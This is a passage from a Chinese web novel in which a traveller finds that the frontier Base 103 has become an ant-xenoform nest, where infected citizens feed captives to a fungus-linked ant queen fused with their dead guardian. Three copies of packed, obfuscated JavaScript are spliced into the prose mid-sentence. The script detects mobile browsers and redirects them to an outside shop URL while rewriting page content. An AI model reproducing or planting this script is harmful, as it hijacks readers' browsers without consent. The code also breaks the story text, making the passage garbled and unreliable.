“我这几天一直在尝试联系外面。”林岚转过身来看着华音，“这里的通信设备没有任何信号，不像是被异种或者其他什么外部原因干扰，更像是……被切断了。我试了所有频段，全都是一片死寂。” 华音：“可能是基地的通信设备出了问题。” “不可能。”林岚摇了摇头，“我检查过旅馆的通信终端，设备本身没有任何故障。但是信号只能接收，发不出去。这座基地现在跟个孤岛似的，完全与外界隔绝了。再封闭也不能封闭成这样子吧？！” 一个锚点基地与外界失联，这本身就是一个危险的信号。 “还有一件事。”林岚的声音压得更低了，“我今天跟老蒋他们提出要见基地守望者理慧。” 又是理慧。 华音想起先前听到的那些对话。理慧，103号基地的守护神，那个被城民们崇拜，时刻挂在嘴边念叨的名字。 “然后呢？” “被拒绝了。”林岚说这话的时候，嘴角微微绷紧，“很奇怪，很不对劲。他们听到理慧这两个字的时候脸色都变了，像是听到了什么禁忌的词，连连摆手说‘理慧大人需要休息，不能打扰’之类的，千方百计不让我见她。” “还有……自从来到这个103基地后，我总感觉到有人在盯着我们。”作为B级执行者，林岚并不认为这会是错觉，他绝对相信自己和自己共生体的直觉。 之前在广场上遇到胡小满时，问起理慧是谁，那个少年眼中也充满了敌意。当时华音只以为胡小满性格古怪，没太放在心上，但现在想来，那种敌意似乎并不是针对他个人，而是针对所有外来者。 “你是说，城民在监视我们？”华音问他。 “你今天有没有被人跟着？” 华音仔细回想了一下。确实无论他走到哪里，周围那些城民都会不自觉地多看他一两眼，像是在确认他有没有做什么不该做的事。 “他们没有明目张胆地跟着我。”华音说：“但一直在看。” “对，就是这样。”林岚的手指焦躁的在桌面上敲了两下，“他们不像是普通的城民，更像是一套……监视系统。每个人都是这套系统里的一只眼睛，我们的一举一动都在他们的视线范围……内。” 说到一半，林岚的视线不经意间扫过窗口，呼吸顿时一滞。 不知道什么时候，窗口开了一道缝，而在那道缝里，一只黑黝黝的眼睛正目不转睛的看着他们。 8. 蚁巢 林岚的瞳孔骤然缩紧。 肩上的小瞪羚发出一声短促的鸣叫，紧接着，以林岚与小瞪羚为中心，周边的空间出现了一圈水面涟漪般的扭曲纹路，一人一羚的身形瞬时消失在华音面前。 华音眨了眨眼。就连他也没能看清林岚到底是怎么消失的，看来这共生体和引导人之间连接产生的能力确实不容小觑。 窗外传来什么声音。 他慢悠悠打开门，走过去，就看见林岚站在走廊上，那只小瞪羚正警觉的绕在他腿边打转。 见华音朝自己看过来，林岚蹙起眉，“我刚才明明看见有……” 可是什么也没有。走廊上空空荡荡，只有他和小瞪羚，哪有其他的什么东西。 距离他看到那只眼睛到使用能力瞬移到屋外也就过去了一两秒的时间，这么短的时间绝对不可能有人能那么快转移。 “不行。这地方绝对不对劲，我去喊其他人，今天无论怎样都得离开这！”林岚只犹豫了一瞬，还是决定相信自己的直觉。他又往身上掏了掏，掏出一个微型通讯器递给华音，“你先在这待着，要是有什么不对立刻喊我！” 华音接过那枚通讯器，夹在自己领口，“好。” 之后华音便看见一人一羊身周再次出现先前那种纹路，迅速消失在他面前。 能在自己身周产生一个速域，快速转移物体，这似乎就是林岚的能力，华音之前在卡车上就见识过。这种能力似乎是共生体和引导人共有的，因“共鸣”而产生的能力。 等林岚离开后，华音半蹲下身往下看，就见几只红褐色的蚂蚁正一动不动的窝在墙角阴影里。它们的触角收拢，腿紧紧蜷在身体两侧，呈现出一种极其刻意的静止。 他看了一会，站起身，抬起脚，碾住那几只装死的蚂蚁，往后一划。 肢体崩开碎裂，血淋巴随着碾压被挤出来，红色的地毯上出现一道淡黄色的线形痕迹。 鞋底在门口的毯子上蹭了蹭，蹭干净，这才又慢条斯理的走回了房间继续休息。 …… 直到天色彻底暗下来，周围变得一片黑暗，林岚都没有再回来。 夜晚的黑也该是有层次的，月色与星光会在物体边缘镀上一层隐约的轮廓。但此刻的黑却很均匀，像是被一整块黑色的幕布从四面八方裹住，连手伸到眼前都看不到任何东西。 华音伸手按了下床头灯的开关，没有反应。 他摸到窗边，拉开窗帘，外面也是一样的黑。 停电了。 这间旅店虽然算不上热闹，但之前走廊上经常会传来脚步声对话声。或许是因为停电了的原因，这一晚上都没有再出现人声。 话说回来。林岚去哪儿了？喊几个人需要喊那么久吗？ 华音想了想，打开那枚通讯器，“林岚。你在哪？” 对方没有回应。 他又喊了两声林岚的名字，声音在空荡荡的房间里显得格外清晰，甚至带上了某种令人不适的回音。 通讯器那头传来的却只是“滋滋——”的刺耳电流音，间杂着一种低沉怪异的声响，像是有什么巨大的东西在通讯频道的另一端缓慢的呼吸。 华音只好关掉通讯器，摸到手电筒，披上外套，推开门去找他们。 视觉受限之后，嗅觉变得格外敏锐。 走廊里弥漫着一股潮湿的、腐烂泥土般的气味。又或许之前就有这股味道，只不过直到现在才被察觉。 他打着手电筒往前走，惨白的光柱扫过走廊两侧紧闭的房门，每一扇门都一模一样，棕色的门，生锈的把手。由于看不到尽头，让人有种始终走在同一段走廊里的错觉。 好在错觉就只是错觉，走了没几分钟，他就找到了走廊尽头的楼梯口。 运货团的其他人住的地方就在楼下，他顺着楼梯往下走。 楼梯上没铺地毯，脚步声变得更为清晰，在狭窄的楼梯间里响起，回音被反复折射，形成一种错乱的……像是很多人同时在走的声音。华音停下来，那声音也停下来。他继续走，那声音也跟着继续走。他猛地停住，回声却没有立刻消失。 “嗒嗒——嗒嗒——” 跟着沉进楼梯间最底部的黑暗中。 华音笑了一声，继续往下走。 一楼走廊尽头就是运货团其他人住的房间。走到门口，发现他们的房门并没有关，华音敲了下门，没人回应。 “打扰了。”于是华音直接推门走进去。 房间是个双人间，摆设就是非常普通的旅店常规配置，一桌一椅两张单人床，中间隔着一个床头柜。 一切都很正常，除了人不在。 柜子上有个掉了漆的搪瓷杯，杯子里还有剩的半杯茶，就好像茶喝了一半，喝茶的人突然凭空消失了。 床上似乎有什么东西，由于太暗，并不能看清。华音走近了两步，将手电筒往下压了压，照过去。 床铺中央凹出一个模糊的人形，边上还有些像白色绒线一样的东西。 他走近那张床，想要看得仔细些，但底下铺着的地毯似乎是被什么东西掀开，脚底突然一滑，脚下那块地板像一扇活板门一样猛地向下翻转，甚至来不及抓住任何东西，整个人就像是被一只看不见的手从下面拽住，直直往下陷。 手电筒的光在空中翻转，天花板、墙壁、床脚在他眼前疯狂的旋转交错。在那扇门彻底合上前，他看见上方出现一张脸。 是胡小满。 胡小满接近他时已经吸入了不少花粉，按理来说应该是能控制住他的。可在外面还好，自从回到103基地后，花粉对胡小满的影响就变得非常薄弱。 说明这里应该是有什么存在可以让胡小满恢复自主意识，免疫花粉的致幻毒性。 华音感觉事情变得有点难办了起来。 他现在对付一个D级雪狼异种都要靠麻痹对方警觉性才能得手，这个103基地中如果真有这样一个克制自己的存在，实在不是什么好消息。 …… 华音感觉自己像是坐上了一个滑梯，一路往下，最终落在一个软绵绵白色絮状物堆积而成的东西上，由于底下的东西太过柔软，还弹了两下。 他趴在那软绵绵的东西上，缓了一会，才摸索着去够手电筒。他把手电筒捞过来，按亮。 光柱亮起来的一瞬间，他看清了自己身下那些东西。 白色，絮状的，有点像棉花，但应该不是棉花。这些纤维太细了，细到在光线下几乎半透明，它们缠绕、交织、堆叠在一起，形成一种厚实的毯状物，向四面八方延展出去，一眼望不到头。 华音伸手捻了一小撮在指尖，并不算黏糊，很好扯开。他扒开那些附着在自己身上的白色絮状物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486709|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，站起来查看了眼四周。 周围到处都是这样的絮状物，它们覆盖了地面、墙壁、以及肉眼可见的所有地方。华音抬起头，看到头顶十几米高的地方有一个圆形的洞口，那应该就是他掉下来的地方。 在这些无处不在的絮状物中，有东西被裹在里面，形成一个个密集的茧。 由于裹得太严实，看不清里面到底是什么。他走近其中一个茧，用脚尖拨开絮状物形成的茧，发现里面是个人。 说是人其实不太准确，因为对方已经死了很久了，基本就剩张干瘪的皮囊潦草的覆盖在骨骼上，只能算是具干尸。 这个洞穴非常大，到处都遍布着白色絮状物，一个洞穴又接着一个洞穴，形成一个巨型迷宫。华音在里面走了很久也没看到一个活人，大部分都是干尸，少数几具尸体还没完全腐烂，但也差不多了，他们的血肉早已融于那些无处不在的菌丝，成为它们的一员。 也不知在里面走了多久，华音总算找到了和他一起进入103号基地的那队人，林岚也在其中。 他们都被絮状物裹得严严实实，对当前的情况一无所知，仍然睡得死死的，大概直到被吸成干尸也察觉不出任何异常吧。 华音走上前，扯掉他们身上的絮状物，叫了几声，但他们仍然沉睡着，毫无醒来的迹象。 好在最后还是有个人醒了过来，在被华音拍醒后，林岚先是恍惚了一阵，随后才后知后觉的意识到自己当前的处境有些不太对劲，在看到身边的一大堆干尸后，立刻惊醒过来，手忙脚乱的扯开困住自己的那些白色絮状物。 “怎么回事？”林岚显然是还没从震撼中回过神来，“这是什么地方？！我们刚才不是在103基地的旅馆里吗？” 华音摇摇头，“不知道。” “其他人呢？” 华音指了指离他不远处的一堆白茧，“那边，还睡着呢。” 林岚过去拼命摇晃着陷入沉睡的人，但怎么也叫不醒。 “我刚试过了，没有用。”华音猜测这些絮状物中可能有具有麻痹作用的毒素，自己本身也具有这样的毒素，自然不会被影响，林岚之前也被自己的毒素局部麻痹过，或许产生了部分抗体，才会这么快清醒过来。其他人就没那么幸运了，他们或许会就这样在睡眠中毫无知觉地死去。 林岚对于自己上一秒还在旅馆里找人下一秒就被掳到洞穴里的事百思不得其解，于是转而问华音，“你是怎么进来的，还有印象吗？” 华音想了想，回答他，“在旅馆找你们的时候突然掉进来的。” “那个旅馆果然有问题！”林岚咬牙切齿，“我就觉得那里不太对劲……” “不止是旅馆。”华音提醒他，“你仔细看看周围。” 林岚闻言愣了愣，随后勉强打起了些精神看向周围。 太多了。被白色絮状物包裹的尸体实在是太多了。远超出了一个旅馆所能容纳的人数。 “103号基地……”林岚不可置信的翻看着那些茧中的尸体，“全部沦陷了？” 那他们之前在城中看到的那些普通人是什么东西？ 很快他就知道了答案。一个“人”出现在他们所在的洞窟附近，见有两个人挣脱了絮状物，那“人”怪叫了一声，随后一阵“轰隆隆”的声音响起，像是有无数人正朝着他们所在的方向狂奔而来。 9. 共生关系 “跑！”林岚意识到不对，他一把抓住华音的手腕，立刻往反方向逃跑。 身后的脚步声非常密集，起码有数百人。他腿伤还没完全恢复，与共生体又在落进洞穴时失散了，无法使用共鸣，身边还有个柔弱青年，实在不是和异种面对面硬杠的时候。 事已至此，只能先跑路了。 但脚步声始终黏在身后紧追不放。林岚一边跑一边回头看了眼，然后脸色变得更白了。那些追击者的速度并不算快，但数量实在太多了，黑压压的一片涌过来，每跑到一个洞穴入口，又会遇到新的一批“人”，也跟随着队伍来抓他们。 好在林岚对于逃跑颇有心得。 “这边！”七拐八拐，他拽着华音拐进了一个狭窄的小岔洞。 这个洞窟比之前的那些要小很多，但同样布满了白色絮状物和茧。林岚的目光飞快的扫过整个洞窟，然后落在了一个空着的茧上。那个茧还没完全合拢，露出了一个勉强能容纳两个人蜷缩进去的空隙。 “快躲进去！”他先推着华音往那个茧里塞。 华音只得顺势挤进了那个潮湿黏腻的茧里，白色的絮状物立刻贴上了他的皮肤，蠢蠢欲动的想要往皮肤里钻，他皱了下眉，不动声色的用半透明的花瓣抵住那些絮状物。 林岚紧跟着挤了进来，两个人像沙丁鱼一样挤在这个狭小逼仄的空间里。华音伸手将那些散开的絮状物团了团，拉拢过来，盖在两人身上。白色的絮状物一层层堆叠，很快就将两个人完全掩盖了起来。透过絮状物的缝隙，他们也可以看到外面的动静。 那些“人”在他们藏身的洞窟里转了几圈，然后渐渐变得稀疏。 好在那些怪物看起来智商并不高，在遗失了目标后胡乱转了两圈，就又回去了。 华音也终于看清了这些怪物的真面目。他们与人无异，只不过头上长着两个怪异的小触角，嘴边有一对锋利的锯齿状上颚，像是一只只人形蚂蚁。 这让他想起一直不肯摘下毡帽和口罩的老蒋和胡小满，自从进103号基地以后遇到的所有城民也几乎都是这样的装扮。 这座103号基地不是属于人类的城市，而是一座蚁巢。难怪他们对于异种的检测如此随意松懈……因为它们就是异种本身。 脚步声渐渐远去，洞内重归寂静。 两人又在茧里等了好一会，确认那些人蚁已经全离开了，才小心翼翼的从茧里探出头来。 那些絮状物也并不安分，像活物一样随时往人体内钻，华音不想多待，从茧里爬了出来，“它们走了。” “原来是这样……”一旁的林岚也跟着爬出来，嘴里低声喃喃道。在看到追击者的模样后，他终于明白了这座基地的怪异所在。 “你知道是怎么回事？”华音问他。 “理慧被异种彻底侵蚀了。”林岚眉头紧皱，似乎仍然不敢相信眼前这一幕，“但是不应该啊，引导人出事的话母城那边为什么一点消息也没有？” 华音对此仍然一头雾水，“理慧到底是什么人？” 这个名字出现得太频繁了。 “是103号基地的守望者，也可以说是这座城的城主。你应该知道基地中存在探索者、执行者和守望者吧？” “……”华音其实并不知道，但他没说，于是继续听林岚解释。 “理慧就是103号基地最强的守望者。她是A级异种切叶蚁后的引导人，能控制大量工蚁异种……103号基地在她的守卫下几乎是所有边境基地中最坚不可摧的一座城市。”林岚顿了顿，“但现在看来……103号基地恐怕早就已经沦陷了。” 周围的干尸堆并不是两三天就能形成的，起码在几个月前，这位备受信赖的城主就已经从人类变成了以人为食的异种，而且还将她的城民感染成了工蚁异种。 只有保持平衡，才能维持共生。 一旦力量失衡，一方无法提供利益……另一方又有什么理由要与你共生呢。单方面的寄生，掠夺，才会是这段生态最终的归宿。 但似乎还有哪里不太对劲。 华音拿起旁边一团絮状物，问他，“蚂蚁会像蜘蛛一样产出这些丝线吗？” “……”林岚摇摇头，“理慧的共生体是切叶蚁后，这种蚁群应该是没有吐丝的能力的……它们只会把猎物切碎带回巢里喂菌……” 他像是想到了什么，恍然大悟，“是了！它们会把猎物带回巢里培养真菌，再将真菌的子实体、也就是蘑菇作为自己的食物！这些丝线不是它们吐出来的，而是菌丝！” “嚯，还挺挑食。所以我们现在是它们带回来用来种蘑菇的养料？”华音抬头看向上方那些无处不在的白色菌丝。 整座蚁巢是联通在一起的，而在蚁巢的中心处，无数白色真菌形成一大片菌毯，覆盖了整个巢穴的顶部和部分墙壁。菌毯上密密麻麻地布满了细小的孔洞，像是无数双眼睛在注视着他们。 才出狼窝，又入蚁巢。华音叹了口气，感觉自己多少是沾点霉运。 “我现在有点怀疑原先理慧和蚁后的共生关系被这些蘑菇给破坏了，所以才会导致103号基地的城民被蚁后感染成了异种。”林岚打量了下四周，“但也不确定。现在这个情况也只能指望理慧还活着，能夺回共生关系里的主导权了，不然周围那么多异种，咱俩迟早也会是它们的盘中餐。” “……我还不想死。”华音有些烦恼的跟在林岚身后，“你说这些切叶蚁异种会不会正好比较挑食，只吃荤不吃素？” 如果只吃荤的话那事情就好办多了，只要把林岚扔给它们，自己还是有机会变回原型逃过一劫。 “它们好像只吃真菌。”林岚还真的认真思考起这个问题，“不过它们用来培育真菌的食材可不会管荤素。之前理慧还在的时候，我记得103号基地是用幽灵花来培育真菌制造菌肉的，但现在你看，这里有那么多尸体……共生关系的改变恐怕也影响了切叶蚁后和这些蘑菇的特性。” “……” 华音沉默了几秒，顿时收敛了要把林岚喂异种自己逃跑的心思。真要二选一，按这类异种的特性，自己恐怕在它们眼里还更美味一点。 他讨厌昆虫和蘑菇。 …… 两人简单商量了一下，决定先去寻找林岚的共生体，再去蚁后那边看看。 寻找小瞪羚并不难，共生体与引导人之间似乎有种特殊的联系，彼此能通过精神链来定位对方的具体位置。 路上华音犹豫了下，问林岚，“共生链是不是一种发光的锁链一样的东西……有时候会和另一端有种奇怪的感应？” 林岚有些惊讶的点点头，“你知道？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486710|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我觉得我可能也是个……”话到嘴边，华音顿了顿，转口说：“……引导人。” “啊？！那可太好了！”林岚停下脚步，惊喜道：“你的共生体是什么？在哪！” “……”华音有些不确定的说，“好像是幽灵花，我不太确定。在匪窟里的时候我遇到了一朵花，可能是与它产生了共生链，但我不太清楚要怎么用它。” “刚结成精神链吗？那这很正常，回头我找研究所的人帮你看看！”林岚自告奋勇道。 “嗯。”华音点点头，又状似无意的问：“你找那只小羚羊的方法能不能告诉我？我现在什么都还不明白……” 林岚不疑有他，将感应精神链，定位共生体的方法一五一十告诉他。 华音根据他的方法试了下，确实有用，但对面的感应非常微弱，似乎是在一个很远很远的地方。 该问到的都问到了，华音可不准备真去研究所，他瞥了林岚一眼，打算找个机会刀掉他。 两人小心翼翼的避开到处都是的人蚁，总算在一个巨型洞窟里找到了小羚羊。 那洞窟比先前两人看到的都要大，与基地中心的广场同等大小，到处都长着纯白环菇。 这里的菌丝茧数量也非常惊人，几乎堆成了一座小山，里面都是已经被吸食干净的干尸。 两人一羊避开人蚁顺着尸堆和蘑菇一路向上攀爬，不知道爬了多久，终于看到顶端那诡异又壮丽的一幕。 一只巨型切叶蚁后匍匐在一堆白色菌菇中。无数工蚁异种将捕获来的人送进菌丝所在的地方，菌丝汲取着尸体中的营养，催生出无数洁白无瑕的纯白环菇，蚁后便吃着这些纯白环菇，从它腹中又源源不断的诞生出新的异种之卵。红色的虫卵像是一簇簇挤在一起的眼球，不断蠕动着。 一具女性干尸几乎与蚁后的上半身融为一体，但对方跟那些被菌丝抽光了养分的茧中尸体差不多，看上去已经死了很久了。 华音和林岚面面相觑。死去的人能重新夺回意识控制异变的共生体吗？显然不能。 但距离他们不远处的两个工蚁异种却像是对那具干尸仍抱有期望。 “昨天又抓到了十几个新的食物，理慧大人应该能恢复一些体力吧。”胡小满一脸希冀遥望着那位与蚁后异种融为一体的女性干尸，全然没意识到对方死去已久，“她会醒过来吗？” “一定会的。”老蒋手起刀落，将一具新鲜的尸体切开，剥离开难以消化的骨骼与皮肤，将血肉喂给爬满了整个洞穴的白色菌丝，“等到它吸收到足够的养料，理慧一定会醒过来。” “她保护了我们那么多次……这次我们一定要好好保护她才行。” 作为城主，理慧曾经无数次为了保护她的城民而冒着危险抵御外敌，而现在，她失去了力量，身为她的子民，他们也理应拿起自己的武器，为了守卫他们的女王而战。无论她此时是人还是异种，是活着还是已经死亡。 “昨天那几个食物里有个是其他城来的执行者……”胡小满谈及其他城的执行者，心中多少有些发悚，“还是像之前一样干掉吗？” “当然。”老蒋处理完尸体，抹了抹溅到脸上的血，抬头看向正在进食的蚁后，“如果让外面的人知道了理慧一直昏睡不醒的事，他们一定会杀了她的。一定不能让他们知道这件事!” 10. 共生链 …… 103基地位于边境，距离核心母城四千公里，与秦铮原先所在的59号锚点基地也足有两千多公里。 在天空与地下都被异种统治，只能通过陆路通行的如今，哪怕日夜兼程，想要到达103基地也至少需要七八天。即使有A级猎豹引导人桑怡的速域辅助，行程时间也只能勉强压缩到三天。 秦铮没有进行事前通讯，于第三天的夜里直接突袭抵达103号基地。 103号基地很安静。一些边境比较危险的锚点基地确实会在夜里熄灯防止吸引夜行异种攻击，但是103基地静得有些不对劲。他摸了下103号基地的城墙，抬眼看向基地入口处。按理来说入口处起码该有几队守望者值守，可那里空无一人。 他没有犹豫，果断向身后的其他执行者下达命令，“准备清理。” 桑怡闻言一愣，“不先查探一下吗？万一理慧……” “她如果没事，不会允许防护系统松懈成这样。”秦铮打断她，径直往里走，“通知母城，安排重建。” “……是。”桑怡只得遵循指令联络母城。简单报告完毕之后，她看向那座沐浴在夜色中的边境基地。 作为同一个研究所培育出来的引导人，桑怡与理慧在三十年前曾有过一面之缘，那时她还是个小女孩，也没有与共生体结成共生链，而当时的理慧就已经是研究所里最强大的引导人了。 后来听说她主动要求前往尚未稳定的边境，之后边境就一直传来好消息。始终没能安定下来的103基地成功在那片白色平原上扎根，基于103基地的成功，核心母城又开始以103为锚点向外开拓104基地和105基地。 之后每次在听到有关理慧的消息的时候，桑怡都会替她感到高兴，总想着或许哪天还能再见上一面叙叙旧。 可没想到再次见面会是当下这种情形。虽然作为引导人，她清楚的明白迟早会有那么一天……但仍然会觉得有些难过悲伤。 阔别三十年……终于又到了道别的时候。 ———————————————— …… 胡小满时常会想……如果那天他没有带回那朵蘑菇，一切会不会变得不一样？ 103号基地位于白色平原的西南方，距离核心母城很远，距离异种泛滥的禁区很近，流落到这里的大都是被母城放弃的人。 胡小满和103基地的其他人一样，从小就被母城运输过来，作为填充的基民。与其他处于和平地带的锚点基地不同，103号作为边境基地，总是处于危机状态。 自胡小满有意识以来，他们每隔一两周就会躲进地下防空洞中来避让开时不时攻进来的异种潮。 好不容易建造起的建筑隔不了多久就会被破坏得一塌糊涂，重新搭建起来后又会迎来一波新的异种潮，然后再次坍塌、重建，反复循环，永远也没有停下来的一天。 前两天认识的人也许过两天就只能看到对方残缺不全的尸体……大部分连尸体都见不到。在资源匮乏的边境，尸体都是珍贵的养料，可以回收用于种植作物。 他曾以为自己的生活就会一直这样下去，像漂浮在湖面上的一片枯叶，随时会因为一阵稍大些的风吹来而倾覆沉没。 直到理慧的到来。 她有着一头乌黑的长发，总是会坐在外边的城墙上，眺望远处那片花海。风吹过的时候，她的头发就会像丝缎一样在空中飘，为那片白色平原添上一抹浓重的墨色。 她个子不高，看起来也不强壮，却能控制强大的异种蚁群，一次次击退进犯的异种怪物，让外面那些虎视眈眈的异种怪物对基地里曾经予求予取的“美食们”无可奈何。 她守卫了这座偏僻的基地整整三十年，这三十年间人们搭建起了高高的楼房，建立了繁华的街道，孩子们可以自由奔跑，不必担心下一秒就被异种扎个对穿。 103号基地也从一个偏僻没有名字的临时集落成为了荒原西南方最大的一座锚点基地。 由于她的共生体是切叶蚁后，她的习性也越来越接近于这种昆虫，时常居住在地下的庇护所中，应付侵袭的异种时，也通常是派出成群的工蚁异种，而不会亲自出现在战场。因此城民都已经习惯于很少见到她了，只在基地中心造了一座属于她的雕像来纪念她对于这座基地的贡献。 如果没有那朵蘑菇……他们或许就会这样一直安稳的生活下去。 胡小满颤抖着手，将处理好的新鲜尸体塞进那些菌丝形成的白茧中。 虽然有了理慧的保护，他们不必再担心城外异种的侵袭，但由于位置偏僻，103号基地的物资补给很匮乏，城里的人也总是饥一顿饱一顿，只能依靠面包虫和少量精心培育的没有异变基因的野菜过活。 直到有一天，胡小满和老蒋外出时，找到了一种白色的真菌。这种真菌很好养活，几片菜叶就能培育出一大片的菌床，长出的白色蘑菇清甜可口，比起面包虫和野菜美味多了。他们理所当然的将那种白色真菌带了回来，它很快就取代了面包虫，成了103号子城最重要的粮食作物，甚至出口至其他基地以换取需要的物资。 可他们没发现的是……随着城民越来越富足，不再因为饥饿而四处奔波的同时，理慧也越来越虚弱了。 胡小满不明白共生体与引导人之间的关联，大部分普通人都不清楚维系着这两者之间的是什么，也自然不懂共生体和引导人之间的精神链会因为外力的介入而改变的事。共生体和引导人的共生关系并不是不可替代的。当一方远远强于另一方时，共生互利的平衡便不再存在，异种会选择对自己更有利的对象作为自己的合作伙伴，而不是将自己的能力借用给一个无法为它提供利益的累赘。 当他们后知后觉的意识到那种名为纯白环菇的真菌已经取代了引导人的位置，与切叶蚁后结成共生链时，一切为时已晚。 它取代了理慧的位置，成为异种切叶蚁后新的共生伙伴。它为切叶蚁群提供食物，切叶蚁群为它寻找更多养料，培育更多真菌。 情感道德对于异种而言不值一提，互利共生才是这个世界永恒的主题。 不再受理慧控制的蚁后很快就感染了整座103号子城，让城民成为它的子民，外出寻找新的养料来培育真菌。 或许是因为那些被感染的人仍然记得理慧曾为他们做的一切，或许是因为成为异种后蚁后对他们潜移默化的影响，即便城民都已经被感染为异种，他们仍然保护着理慧。 核心母城会定期委派执行者来检查基地引导人的状态，以确保他们仍然还是人类，没有被异种感染。一旦发现引导人有被异种感染的倾向，他们就会直接杀死那个引导人，无论对方为了人类曾做出过怎样的贡献。 即使理慧已经很久没有醒来，胡小满和其他城民仍然坚信她还活着，她只是短暂的昏睡，迟早有一天会醒过来。因此他们仍然维持着人类城市的运转，杀死前来此地的执行者，隐瞒着理慧早已同化为异种的事实，日复一日，自欺欺人。 只要喂给它更多食物，他们心中的女王就会再次回到他们身边。 被感染的大脑思维逐渐与蚁群同化，他们正逐渐失去人性，成为切叶蚁异种的一员。 …… 华音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486711|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和林岚躲藏在蘑菇堆里，距离胡小满和老蒋所在的位置并不算远，自然也听到了他们的对话。 原本以为他们的城主理慧是因为被异种彻底侵蚀而故意感染了城民，而现在看来，似乎情况恰恰相反，她的子民无法接受她已经死亡的事而开始将活人当作养料来喂养异种蚁后，寄希望于异种，企图让那位备受爱戴的女王复活。 “不能让他们这样疯下去！”林岚显然对他们的所作所为不是很认可，“放任他们这样做，会有越来越多的受害者被骗到103城。” 他与瞪羚再次共鸣，华音也在他的速域范围内，感觉自己身上变得暖洋洋的，身体似乎也轻盈了许多。 之前虽然通过林岚得知了共生体和引导人的事，但他并不算了解，也不清楚所谓的“能力”是以什么样的方式呈现。通过林岚亲身体验到这种能力，的确很神奇。 但华音并不打算帮助林岚。他不认为人类是自己的同类，也从不觉得异种是敌人，这是别人的事，他并不想掺和。更何况切叶蚁这种生物简直是植物类的天敌，眼前的蚁后实力也恐怕要远远超过尚处于虚弱期的自己。 他短暂权衡下就做出了决定，先想办法逃离这个危险的地方。至于林岚和另外那队运货团的人……自己顺手把他们从狼窟里救出来已经算是仁至义尽了，接下来他们的死活也跟自己无关。 “什么人在那里？！” 可惜没等华音及时撤退，那些已经被同化为切叶蚁异种的城民就发现了他们，纷纷举起了手中的枪。如果只是些切叶蚁异种还好，毕竟它们只是蚂蚁，攻击途径有限，虽然麻烦但也不是躲不掉，可偏偏它们还同化了人类的身体，能使用一些简单的热武器。 这就麻烦多了。 原本想退出速域的华音动作短暂的停滞了下，随后紧跟在林岚身后。 他只是一朵柔弱可怜的小花，还没到能和子弹硬拼的程度，还是暂借一下林岚的速域吧。 下方的胡小满也听到了上面传来的声音，他猛地抬起头，目光死死盯着那两个正在不断靠近蚁后的身影，他的眼睛不再像人类一样黑白分明，黑色的瞳孔不断扩张，直到填满整个眼眶。 “是外来者！”胡小满的声音变得异常尖锐，“他们要去理慧那里，阻止他们！” “砰！” “砰！” 枪声在蚁巢中接连响起。林岚迅速拉着华音躲开，瞪羚异种的能力让他格外敏捷，避开了来自下方感染者的袭击。然而周围更多的切叶蚁异种也围了过来。 林岚像是总算意识到了身边还有个普通人，拉着华音往一个白蘑菇比较密集的地方跑，那里的蘑菇较大，可以作为遮蔽物抵挡一部分切叶蚁异种的视野。林岚将他塞在一堆蘑菇里，“你先在这躲一下！” 华音从善如流的挤进蘑菇堆，回过头问林岚，“那你呢？” “我得想办法上去看看理慧的情况，如果她没死，就试试看能不能叫醒她，如果她死了……”林岚果断道：“那咱们就想办法逃命！放心，我肯定会带你出去的！” 毕竟他只是一个B级辅助型的执行者，他也不是傻子，跟A级蚁后异种硬拼简直就是嫌自己命不够硬。逃命通知其他执行者过来解决才是上策。 “……”华音总觉得在这种时候说什么“肯定会救你”，“肯定会带你出去”就像是谢幕前的flag，下一秒就会被干掉。 但现在也不是泼冷水的时候，华音合格的做出了一个花瓶在此时该发挥的作用，他充当啦啦队给前方努力吸引火力的队友加油鼓劲，“那你可千万别死喔！” 当然，死了也没事。 11. 自爆按钮 那群异种追兵虽然因为感染了人类拥有人类接近的外表，但似乎也因此影响到了本身的智力，并不算太聪明，只是能使用简单武器的程度。 在看到其中一个人消失踪迹以后也没再紧追不舍，而是转而追击起剩下的那个人。 所幸林岚本身有速域的能力加持，躲避子弹并不算难事，很快，他就来到了蚁后所在的位置。 此时华音距离顶部的蚁后位置也不远。他藏身在蘑菇堆的阴影里，微微探出头，仔细观察着上方林岚和那只切叶蚁后的交战过程。 那个怪异的身影此刻正躺在顶端一大片菌床上，它很大，整体呈椭圆型，像是个巨型蠕虫。它的上半身与一个女性的身体融合在一起，连接处是狰狞的血管状的东西，看起来有种诡异又独特的美感。 与此同时，浅青色的纹路从林岚身上亮起，他肩上的小瞪羚也抬起了头，皮毛上浮现出同样的青纹，共鸣在两者之间建立了一条肉眼可见的光链，只一瞬闪现，那应该就是林岚之前提到过的共生链。 